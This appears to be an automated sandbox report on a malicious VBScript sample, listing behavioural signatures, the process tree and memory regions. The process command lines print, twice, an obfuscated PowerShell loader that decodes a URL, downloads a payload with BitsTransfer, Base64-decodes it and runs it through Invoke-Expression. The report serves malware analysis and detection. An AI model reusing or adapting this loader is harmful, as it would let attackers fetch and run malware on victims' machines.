Analysis
-
max time kernel
91s -
max time network
117s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
29-03-2024 01:41
Static task
static1
Behavioral task
behavioral1
Sample
e92b029414d118847e5b55487c98b5ea55d22b8cccf1c0836b1dfdedbdb33dbe.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
e92b029414d118847e5b55487c98b5ea55d22b8cccf1c0836b1dfdedbdb33dbe.vbs
Resource
win10v2004-20240226-en
General
-
Target
e92b029414d118847e5b55487c98b5ea55d22b8cccf1c0836b1dfdedbdb33dbe.vbs
-
Size
38KB
-
MD5
085fd178456799ca4535896787a4ded6
-
SHA1
f5002bd232f176afb4df73f011c5ea8370ba28f3
-
SHA256
e92b029414d118847e5b55487c98b5ea55d22b8cccf1c0836b1dfdedbdb33dbe
-
SHA512
4eb379426d9c9c99079213bcb4dcc61ac5fec067c7356e50827aa710fbc65d0e99d957c1b1c15667983a2d08981ec35b018db96b6eac0842596804067dc8037d
-
SSDEEP
384:u0sgBufUIWz0AujGKoCJmMuttrW6ku83V3aiHwAVX34AEEZo93/uvCtY7b/weM7R:u0sgBuVWAZGc8NnKwiQuCAvCK7bw1
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2212 3056 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 2912 powershell.exe 2912 powershell.exe 3056 powershell.exe 3056 powershell.exe 3056 powershell.exe 3056 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2912 powershell.exe Token: SeDebugPrivilege 3056 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 3052 wrote to memory of 2912 3052 WScript.exe powershell.exe PID 3052 wrote to memory of 2912 3052 WScript.exe powershell.exe PID 2912 wrote to memory of 1144 2912 powershell.exe cmd.exe PID 2912 wrote to memory of 1144 2912 powershell.exe cmd.exe PID 2912 wrote to memory of 3056 2912 powershell.exe powershell.exe PID 2912 wrote to memory of 3056 2912 powershell.exe powershell.exe PID 2912 wrote to memory of 3056 2912 powershell.exe powershell.exe PID 3056 wrote to memory of 1100 3056 powershell.exe cmd.exe PID 3056 wrote to memory of 1100 3056 powershell.exe cmd.exe PID 3056 wrote to memory of 1100 3056 powershell.exe cmd.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e92b029414d118847e5b55487c98b5ea55d22b8cccf1c0836b1dfdedbdb33dbe.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Kontrahenterne Icebound Diabaserne Tekstdirektorie Godstogs Forstemmelses Generobringsplaner #>;$Gultonet=(cmd /c set /A 115^^0);Function Hest ([String]$Drejningsaksen){$Fedthasennwit=[char][int]$Gultonet+'ubstring';$Broadness=8;$Bldgjort=Appair($Drejningsaksen);For($Fedthasen=7; $Fedthasen -lt $Bldgjort; $Fedthasen+=$Broadness){$Oxydens164=$Drejningsaksen.$Fedthasennwit.Invoke($Fedthasen, 1);$Padroadist=$Padroadist+$Oxydens164;}$Padroadist;}function Eroderinger ($Varmebehandleres219){. ($Husbandable) ($Varmebehandleres219);}function Appair ([String]$Neutrino){$Biotopes=$Neutrino.Length-1;$Biotopes;}$Pelsdyrenes=Hest 'KlokkefTHeraus,rKoldtvaaoverensn M ltyesAasenssfCondyloeRedressrSkoggerrAn,iaaaiUnpartanSandfisgcolluvi ';$Vedhngte97=Hest 'Furf,rohDesillutMacernetIdentitpudkry,ts Djrver: overbo/Multipl/Kommuned Und rgrarguingiStumblyvTendense S.jrsk.FleeringVerdensoIndsatsoUdflyttg Tnderkl .onspieMilita,.Reu.dulc NonvoloKonvolumRemotio/M.llibauDoli gbcInf,rma?MorgenfeGowningxnonresip.nstaltoHatchwarWoodloutFielded=s.itchwdApo,alyoKryptogwBrigadenFor tvnlVisionio andblaUndefindJapaner&Strejkeidiare.ndIm.eria= Fea,ed1Sca celpTenzoneY,redstr1HuldrerTakantusJQuissur6SurmuleVEksporti,pithalU RrfabrZEneuhelj Un.onoWTransmiLHjtalenx.egaltypdispariEUpplougTTrich n7DehydreP S,rvanQGennemposcatterDStilfilIUnad us6E,ilobizFamiliam arietogsocialbuKom,unioArgumendb ttomeO H veds-Antiwed ';$Husbandable=Hest 'HusholdiB,ldheaeUninaugx Ki lin ';$Maskinstormer=Hest 'Add edn$NewfoungJapanizlMedlemsoSygehusbDykke fasharn alNaurop :StubworbProb.eme BreathdCarajakrProli iaProtistgSel.pene CultisrThreepiiScenarisSaddelgkSuburba afpasse= Nordit U.orholS falcattL,neociaVermutsrkropduetComputa-StrandlBAntilabiRevanchtOutmanesKultursTNonana.rPrewo,na Sylli.nSterpaasCyk.lryfDde,ighefabrikarGr.ssor Telefon-UdhalerSUnd,rtroeksempeu DataberAmor.lmcBrek,ave Airbus proficu$shermieVUgladeseairbil.dBraknsehStatsranCurva,tg KreprvtStorimpeI.dfyre9Handels7 Deprog Blowtor-NationaDMoselove .alvans Prin etOsteo.ei yrrekonTourista Underpt reststiKvalme,opneumonnsl,ergl Ombude$GldssanS,nterastFingerrrOve.seceBeklagen SmrendgNonl.ritLo.fstehRaspe.hyJamadar ';Eroderinger (Hest 'Sindsli$AkutbehgVablehelBrugerdoFragm,nbBegivenaMedg,arlParall :AnskuelSPonderotMisitemrMysti,ieAntifedn Bepur,gFunktiot SeverahLsernesyGitbilt=Bemrked$ In umbezoogamon JargonvCertior:AdresseaSteffanpSpurgewpEftersldPastllea aris,atS,dstliaKldeb.n ') ;Eroderinger (Hest 'Ce.teniIJubbahsmPodostopUstruktoNodeblarOverbbot Konsis-DockizaMKoteletoSkattemdMaksimeuMedaljel Krebseespe tru Magte.lBTastefeiCountertQuidditsS milisT KemigrrTripp,nafidgetinwoodag,sSeminorfGypsopheReallotrStillel ') ;$Strengthy=$Strengthy+'\Rkebiskoppen.Ret' ;Eroderinger (Hest 'Tegning$KoalitigTalbloklSkrif.mo Psychib TrefolaSubsereludrej.e:OmdanfoRDobbeltoZonekrnaL vistirBuldredeMisbegorRoekampsBindeba=Samfund(Calori TFar,etaeSal gprsDokimast Destru-Sne,yddPAmbr,esaUrucummtOprejsnhIslndin Fl skel$ ,evindSFlu,ridtKrftsvurUnlen eeun.veran SheephgAdv syat Velindh MorigeySkkevdd)Fyresch ') ;while (-not $Roarers) {Eroderinger (Hest ' GunarcINo,realfYaupo.s Fork.ar(Zooma.t$FlagdagbToneomre Blikvad Da radrOpmaaltaPseudomgGalionseSaldoslrInducibi Byst,ts Avi,atkMonofto.Stter hJHe atobo Begu,sbPrimaquSfretfultGenera a EnthrotBegrundeWigwa,e Ferskv- ,elvsyePostkorqUnfrigh Opgavet$SpringvP Tympa,e.rsservlDigigunstolvteddProphesyIndkli r,steopleTergivenFalmermeVa,vulosReeking)Aniseed Hexamer{Hov,dkaS VognmatFlagrdeaTendoverPunchyrtRent bl-VitaminS Bleg.elNummulieUlempeveKlasse,pNugumiu Farcern1drillep}Staklere TerminlKro,chksTotalsaeSnothva{PhytaseSPir erltcupellea ConchorBlaavantDrossyn-FilterkS .emurilCooperaeUngpigeebraddedpRegiste Huckste1Sporvog;NvningeEInadmisrAmericaoKonnek,ddissimieDecoys.rD,sheenio,hthalnValdrapgHypercreCal,inirTaa.ekv Frycivi$pr.vataM Pse doaunculars Trykkek Boomiei Tone enStttefasNavetsjtButyldioAwsharfrSegnedem Wienske alvaarrUndeala}mell,ma ');Eroderinger (Hest ' Normal$SolingegBa,keeplSex arioPoconopbrabarbea.iksepilRotatio:K.ntaktRTikk,tsoSlasheraGelsemirPhysi.le F otforFuriernsFunderi=Aragoni(bouillaTP,gaforeDesacrasopposittScudler-SamtalePVarm,kaaKoket.et FordelhCu.iali Tetrico$ArveonkSF.rldretRevokserOplsnineLdreininCoenostgDeputertextendehForveksyMilligr)Cya hyd ') ;}Eroderinger (Hest 'Kaal.ov$arbejdsg HomecrlRachiodoBoretkubThibetpaH.rdsetl otaqui:Vddema.RSug este UdmatrvCuisineeKoagulwrMislearsAngelsaa Subersl.ndagsu Invilla=Skrmtvi .ddykkGCupr nee Ste nftForgu.e-DesarmeCEmi,ranoRegion nS urdietSidlingeEfterlanGtemaget Lige.t Preval,$Saluti.SKashubitRisesdyrneutralePeriwignItoistggmonembrtFactablhRealkonyForblff ');Eroderinger (Hest 'Provenu$ dagogeg edgownlBowk.rboEnantiobSkraldea GenganlFi urlb: B,eskbRLugtulee Br nzem Hel.isiTwigliksgudebarsSkrivelePastelfrTjenkalsFarvena Observa=Austrop Sit,ere[aramaicSCamelkeyLaunchasUmbracutTaktlsheFort,ngmAphidiu.NationaCTranst,oCommuninmil admvProtodoe BotryorflattertPannapr]Crosswo: Nor ed:EngdragFOmry.ter OktettoZoologemSerpensBSally ea Skattesrigor ueBolomet6Thermes4chinchaSretsudvtAfbrudsrstreng i GiftstnAlleviagRepriev( Baradd$PlumbleR ThemiseSomme,tvEroticie Kulturr gavekos Imm,noaOutrunnl Wolver)Maaleap ');Eroderinger (Hest 'A,omald$Starverg Outda lGuaranaoSyndicabAlph nsaVersicllTiaa.ig:VestligHTilskikj Clark u He idilReprecibMaskinvrJe.ngreeTrav,donUnderpre ivorc Dispon =Dhakfor Alexand[VogtereS Ls,hovyWrastl,sUnwat,ht pekingeStandkvm.lertal. Hu aniTMaoistiePortrayxDe progtSemicot. FiligrE emsemin GuanoscCrabbero prfered GartneiDecimaln .hravegMorsele].jemmef: Ko ese:Hyp.tonAEvasionS.kretveC MurksoIKomme.tIUrechit.ma,rineGSp,ldevegastrodt AnethuSginglyftSubacadrSultan iElektronTotne.dgKamalah(Dd.ands$ElektroRUnweel.eFrgningmPreelimi utfeassSnrestvsMultideePrelatirAdornsasMarati.)Elektro ');Eroderinger (Hest 'fremove$SmaabrngProjektlPlirretoCholoscbModnedeaIntercol Skam o:KommunaM CatchfyGargoyltGhostwrh.yceewao S yttel Genf ro PycnidgC.ngrueuTi,stabeReserve=Nansend$ClongteHKapringjForvansuCymry alBesluttbVrdipaprAnvendpeSpredninOpgav,beCirrose.Azopho sBener,auExpungebLoddedesSkoleemtNi ridirRegnvani BeadlinProtolagIlbudd (Alaki.a3Mok,aen1Asketer0Steg br6 Funkti1Fo.saml3Bepa.se,Skrabem3Testikl1Inter.s3Thermod2Opofrel7Hemothe)Ahornen ');Eroderinger $Mythologue;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Kontrahenterne Icebound Diabaserne Tekstdirektorie Godstogs Forstemmelses Generobringsplaner #>;$Gultonet=(cmd /c set /A 115^^0);Function Hest ([String]$Drejningsaksen){$Fedthasennwit=[char][int]$Gultonet+'ubstring';$Broadness=8;$Bldgjort=Appair($Drejningsaksen);For($Fedthasen=7; $Fedthasen -lt $Bldgjort; $Fedthasen+=$Broadness){$Oxydens164=$Drejningsaksen.$Fedthasennwit.Invoke($Fedthasen, 1);$Padroadist=$Padroadist+$Oxydens164;}$Padroadist;}function Eroderinger ($Varmebehandleres219){. ($Husbandable) ($Varmebehandleres219);}function Appair ([String]$Neutrino){$Biotopes=$Neutrino.Length-1;$Biotopes;}$Pelsdyrenes=Hest 'KlokkefTHeraus,rKoldtvaaoverensn M ltyesAasenssfCondyloeRedressrSkoggerrAn,iaaaiUnpartanSandfisgcolluvi ';$Vedhngte97=Hest 'Furf,rohDesillutMacernetIdentitpudkry,ts Djrver: overbo/Multipl/Kommuned Und rgrarguingiStumblyvTendense S.jrsk.FleeringVerdensoIndsatsoUdflyttg Tnderkl .onspieMilita,.Reu.dulc NonvoloKonvolumRemotio/M.llibauDoli gbcInf,rma?MorgenfeGowningxnonresip.nstaltoHatchwarWoodloutFielded=s.itchwdApo,alyoKryptogwBrigadenFor tvnlVisionio andblaUndefindJapaner&Strejkeidiare.ndIm.eria= Fea,ed1Sca celpTenzoneY,redstr1HuldrerTakantusJQuissur6SurmuleVEksporti,pithalU RrfabrZEneuhelj Un.onoWTransmiLHjtalenx.egaltypdispariEUpplougTTrich n7DehydreP S,rvanQGennemposcatterDStilfilIUnad us6E,ilobizFamiliam arietogsocialbuKom,unioArgumendb ttomeO H veds-Antiwed ';$Husbandable=Hest 'HusholdiB,ldheaeUninaugx Ki lin ';$Maskinstormer=Hest 'Add edn$NewfoungJapanizlMedlemsoSygehusbDykke fasharn alNaurop :StubworbProb.eme BreathdCarajakrProli iaProtistgSel.pene CultisrThreepiiScenarisSaddelgkSuburba afpasse= Nordit U.orholS falcattL,neociaVermutsrkropduetComputa-StrandlBAntilabiRevanchtOutmanesKultursTNonana.rPrewo,na Sylli.nSterpaasCyk.lryfDde,ighefabrikarGr.ssor Telefon-UdhalerSUnd,rtroeksempeu DataberAmor.lmcBrek,ave Airbus proficu$shermieVUgladeseairbil.dBraknsehStatsranCurva,tg KreprvtStorimpeI.dfyre9Handels7 Deprog Blowtor-NationaDMoselove .alvans Prin etOsteo.ei yrrekonTourista Underpt reststiKvalme,opneumonnsl,ergl Ombude$GldssanS,nterastFingerrrOve.seceBeklagen SmrendgNonl.ritLo.fstehRaspe.hyJamadar ';Eroderinger (Hest 'Sindsli$AkutbehgVablehelBrugerdoFragm,nbBegivenaMedg,arlParall :AnskuelSPonderotMisitemrMysti,ieAntifedn Bepur,gFunktiot SeverahLsernesyGitbilt=Bemrked$ In umbezoogamon JargonvCertior:AdresseaSteffanpSpurgewpEftersldPastllea aris,atS,dstliaKldeb.n ') ;Eroderinger (Hest 'Ce.teniIJubbahsmPodostopUstruktoNodeblarOverbbot Konsis-DockizaMKoteletoSkattemdMaksimeuMedaljel Krebseespe tru Magte.lBTastefeiCountertQuidditsS milisT KemigrrTripp,nafidgetinwoodag,sSeminorfGypsopheReallotrStillel ') ;$Strengthy=$Strengthy+'\Rkebiskoppen.Ret' ;Eroderinger (Hest 'Tegning$KoalitigTalbloklSkrif.mo Psychib TrefolaSubsereludrej.e:OmdanfoRDobbeltoZonekrnaL vistirBuldredeMisbegorRoekampsBindeba=Samfund(Calori TFar,etaeSal gprsDokimast Destru-Sne,yddPAmbr,esaUrucummtOprejsnhIslndin Fl skel$ ,evindSFlu,ridtKrftsvurUnlen eeun.veran SheephgAdv syat Velindh MorigeySkkevdd)Fyresch ') ;while (-not $Roarers) {Eroderinger (Hest ' GunarcINo,realfYaupo.s Fork.ar(Zooma.t$FlagdagbToneomre Blikvad Da radrOpmaaltaPseudomgGalionseSaldoslrInducibi Byst,ts Avi,atkMonofto.Stter hJHe atobo Begu,sbPrimaquSfretfultGenera a EnthrotBegrundeWigwa,e Ferskv- ,elvsyePostkorqUnfrigh Opgavet$SpringvP Tympa,e.rsservlDigigunstolvteddProphesyIndkli r,steopleTergivenFalmermeVa,vulosReeking)Aniseed Hexamer{Hov,dkaS VognmatFlagrdeaTendoverPunchyrtRent bl-VitaminS Bleg.elNummulieUlempeveKlasse,pNugumiu Farcern1drillep}Staklere TerminlKro,chksTotalsaeSnothva{PhytaseSPir erltcupellea ConchorBlaavantDrossyn-FilterkS .emurilCooperaeUngpigeebraddedpRegiste Huckste1Sporvog;NvningeEInadmisrAmericaoKonnek,ddissimieDecoys.rD,sheenio,hthalnValdrapgHypercreCal,inirTaa.ekv Frycivi$pr.vataM Pse doaunculars Trykkek Boomiei Tone enStttefasNavetsjtButyldioAwsharfrSegnedem Wienske alvaarrUndeala}mell,ma ');Eroderinger (Hest ' Normal$SolingegBa,keeplSex arioPoconopbrabarbea.iksepilRotatio:K.ntaktRTikk,tsoSlasheraGelsemirPhysi.le F otforFuriernsFunderi=Aragoni(bouillaTP,gaforeDesacrasopposittScudler-SamtalePVarm,kaaKoket.et FordelhCu.iali Tetrico$ArveonkSF.rldretRevokserOplsnineLdreininCoenostgDeputertextendehForveksyMilligr)Cya hyd ') ;}Eroderinger (Hest 'Kaal.ov$arbejdsg HomecrlRachiodoBoretkubThibetpaH.rdsetl otaqui:Vddema.RSug este UdmatrvCuisineeKoagulwrMislearsAngelsaa Subersl.ndagsu Invilla=Skrmtvi .ddykkGCupr nee Ste nftForgu.e-DesarmeCEmi,ranoRegion nS urdietSidlingeEfterlanGtemaget Lige.t Preval,$Saluti.SKashubitRisesdyrneutralePeriwignItoistggmonembrtFactablhRealkonyForblff ');Eroderinger (Hest 'Provenu$ dagogeg edgownlBowk.rboEnantiobSkraldea GenganlFi urlb: B,eskbRLugtulee Br nzem Hel.isiTwigliksgudebarsSkrivelePastelfrTjenkalsFarvena Observa=Austrop Sit,ere[aramaicSCamelkeyLaunchasUmbracutTaktlsheFort,ngmAphidiu.NationaCTranst,oCommuninmil admvProtodoe BotryorflattertPannapr]Crosswo: Nor ed:EngdragFOmry.ter OktettoZoologemSerpensBSally ea Skattesrigor ueBolomet6Thermes4chinchaSretsudvtAfbrudsrstreng i GiftstnAlleviagRepriev( Baradd$PlumbleR ThemiseSomme,tvEroticie Kulturr gavekos Imm,noaOutrunnl Wolver)Maaleap ');Eroderinger (Hest 'A,omald$Starverg Outda lGuaranaoSyndicabAlph nsaVersicllTiaa.ig:VestligHTilskikj Clark u He idilReprecibMaskinvrJe.ngreeTrav,donUnderpre ivorc Dispon =Dhakfor Alexand[VogtereS Ls,hovyWrastl,sUnwat,ht pekingeStandkvm.lertal. Hu aniTMaoistiePortrayxDe progtSemicot. FiligrE emsemin GuanoscCrabbero prfered GartneiDecimaln .hravegMorsele].jemmef: Ko ese:Hyp.tonAEvasionS.kretveC MurksoIKomme.tIUrechit.ma,rineGSp,ldevegastrodt AnethuSginglyftSubacadrSultan iElektronTotne.dgKamalah(Dd.ands$ElektroRUnweel.eFrgningmPreelimi utfeassSnrestvsMultideePrelatirAdornsasMarati.)Elektro ');Eroderinger (Hest 'fremove$SmaabrngProjektlPlirretoCholoscbModnedeaIntercol Skam o:KommunaM CatchfyGargoyltGhostwrh.yceewao S yttel Genf ro PycnidgC.ngrueuTi,stabeReserve=Nansend$ClongteHKapringjForvansuCymry alBesluttbVrdipaprAnvendpeSpredninOpgav,beCirrose.Azopho sBener,auExpungebLoddedesSkoleemtNi ridirRegnvani BeadlinProtolagIlbudd (Alaki.a3Mok,aen1Asketer0Steg br6 Funkti1Fo.saml3Bepa.se,Skrabem3Testikl1Inter.s3Thermod2Opofrel7Hemothe)Ahornen ');Eroderinger $Mythologue;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3056 -s 20684⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3056 -ip 30561⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vxj3yqst.ed3.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/2912-0-0x000001D9101F0000-0x000001D910212000-memory.dmpFilesize
136KB
-
memory/2912-10-0x00007FF8AE000000-0x00007FF8AEAC1000-memory.dmpFilesize
10.8MB
-
memory/2912-11-0x000001D9103F0000-0x000001D910400000-memory.dmpFilesize
64KB
-
memory/2912-12-0x000001D9103F0000-0x000001D910400000-memory.dmpFilesize
64KB
-
memory/2912-13-0x000001D929160000-0x000001D929186000-memory.dmpFilesize
152KB
-
memory/2912-14-0x000001D9291B0000-0x000001D9291C4000-memory.dmpFilesize
80KB
-
memory/2912-15-0x000001D9103F0000-0x000001D910400000-memory.dmpFilesize
64KB
-
memory/2912-16-0x000001D9103F0000-0x000001D910400000-memory.dmpFilesize
64KB
-
memory/2912-45-0x00007FF8AE000000-0x00007FF8AEAC1000-memory.dmpFilesize
10.8MB
-
memory/3056-20-0x0000000005670000-0x0000000005692000-memory.dmpFilesize
136KB
-
memory/3056-36-0x0000000006B00000-0x0000000006B1A000-memory.dmpFilesize
104KB
-
memory/3056-18-0x0000000004F70000-0x0000000004FA6000-memory.dmpFilesize
216KB
-
memory/3056-21-0x0000000005D50000-0x0000000005DB6000-memory.dmpFilesize
408KB
-
memory/3056-22-0x0000000005DC0000-0x0000000005E26000-memory.dmpFilesize
408KB
-
memory/3056-30-0x0000000005EF0000-0x0000000006244000-memory.dmpFilesize
3.3MB
-
memory/3056-33-0x0000000006520000-0x000000000653E000-memory.dmpFilesize
120KB
-
memory/3056-34-0x00000000065C0000-0x000000000660C000-memory.dmpFilesize
304KB
-
memory/3056-35-0x0000000007D60000-0x00000000083DA000-memory.dmpFilesize
6.5MB
-
memory/3056-19-0x00000000056B0000-0x0000000005CD8000-memory.dmpFilesize
6.2MB
-
memory/3056-37-0x00000000077A0000-0x0000000007836000-memory.dmpFilesize
600KB
-
memory/3056-38-0x0000000007740000-0x0000000007762000-memory.dmpFilesize
136KB
-
memory/3056-39-0x0000000008990000-0x0000000008F34000-memory.dmpFilesize
5.6MB
-
memory/3056-40-0x0000000007770000-0x0000000007792000-memory.dmpFilesize
136KB
-
memory/3056-41-0x0000000007A10000-0x0000000007A24000-memory.dmpFilesize
80KB
-
memory/3056-42-0x0000000074700000-0x0000000074EB0000-memory.dmpFilesize
7.7MB
-
memory/3056-17-0x0000000074700000-0x0000000074EB0000-memory.dmpFilesize
7.7MB